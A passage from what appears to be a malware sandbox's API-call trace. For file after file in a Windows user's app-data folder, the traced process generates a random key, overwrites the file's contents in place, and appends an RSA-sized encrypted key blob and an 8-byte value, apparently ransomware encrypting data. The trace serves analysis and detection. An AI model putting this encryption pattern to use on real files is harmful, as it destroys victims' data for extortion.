pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.302] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.302] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.306] CloseHandle (hObject=0x1820) returned 1 [0169.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.313] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\54827e92-1c6c-4ea8-bb11-3b3464cf22fc.f34c1ab6-a087-4cf4-b1cf-aeb88de449b7.down_meta", dwFileAttributes=0x80) returned 1 [0169.313] ReadFile (in: hFile=0x1820, lpBuffer=0x5e7e90, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7e90*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0169.322] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.322] WriteFile (in: hFile=0x1820, lpBuffer=0x2f6b898*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6b898*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0169.322] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c0 [0169.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.323] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.323] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.323] CloseHandle (hObject=0x1820) returned 1 [0169.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.325] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\51c9ae83-742b-4318-a848-5026dfe89646.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.325] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.326] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.326] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.326] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.326] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.326] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.326] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.327] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.327] CloseHandle (hObject=0x1820) returned 1 [0169.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.329] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\512a7fe4-25ff-44ca-afb0-208983aaff3a.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.329] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.329] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.329] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.330] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.330] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.331] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.331] CloseHandle (hObject=0x1820) returned 1 [0169.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0169.333] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\43674263-b767-4618-ab3f-0fd0619824dc.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.333] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.333] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.333] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.333] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.333] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.333] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.334] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.335] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.335] CloseHandle (hObject=0x1820) returned 1 [0169.336] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0169.336] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.336] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\364feb5b-d4ef-4192-b8de-cb11ed31a7ef.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.337] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.337] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.337] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.337] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.337] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.338] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.338] CloseHandle (hObject=0x1820) returned 1 [0169.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.345] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\364feb5b-d4ef-4192-b8de-cb11ed31a7ef.up_meta", dwFileAttributes=0x80) returned 1 [0169.346] ReadFile (in: hFile=0x1820, lpBuffer=0x564e60, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564e60*, lpNumberOfBytesRead=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0169.347] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.347] WriteFile (in: hFile=0x1820, lpBuffer=0x61ee60*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ee60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0169.347] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112 [0169.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.348] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.348] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.349] CloseHandle (hObject=0x1820) returned 1 [0169.350] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.350] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.350] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\364feb5b-d4ef-4192-b8de-cb11ed31a7ef.03344d37-6323-473f-b307-879be5d91c6e.down_meta", dwFileAttributes=0x80) returned 1 [0169.351] ReadFile (in: hFile=0x1820, lpBuffer=0x5e77c0, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e77c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0169.359] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.360] WriteFile (in: hFile=0x1820, lpBuffer=0x5e7d88*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7d88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0169.360] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c0 [0169.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.360] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.361] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.361] CloseHandle (hObject=0x1820) returned 1 [0169.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0169.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\2e1af1ae-b809-47bf-b9e5-572e6d5ddbfe.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.363] ReadFile (in: hFile=0x1820, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.363] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.363] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.363] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.363] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.364] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.364] CloseHandle (hObject=0x1820) returned 1 [0169.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.366] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.366] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\1b60c273-f96f-4713-929a-6444e00282fa.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.366] ReadFile (in: hFile=0x1820, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.366] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.366] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.366] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.366] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.366] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.367] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.368] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.368] CloseHandle (hObject=0x1820) returned 1 [0169.369] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.369] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.369] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\1b60c273-f96f-4713-929a-6444e00282fa.up_meta", dwFileAttributes=0x80) returned 1 [0169.370] ReadFile (in: hFile=0x1820, lpBuffer=0x30ca430, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca430*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0169.371] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.371] WriteFile (in: hFile=0x1820, lpBuffer=0x30ca8b8*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca8b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0169.371] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0169.371] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.371] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.371] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.372] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.372] CloseHandle (hObject=0x1820) returned 1 [0169.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0169.386] SetFileAttributesW 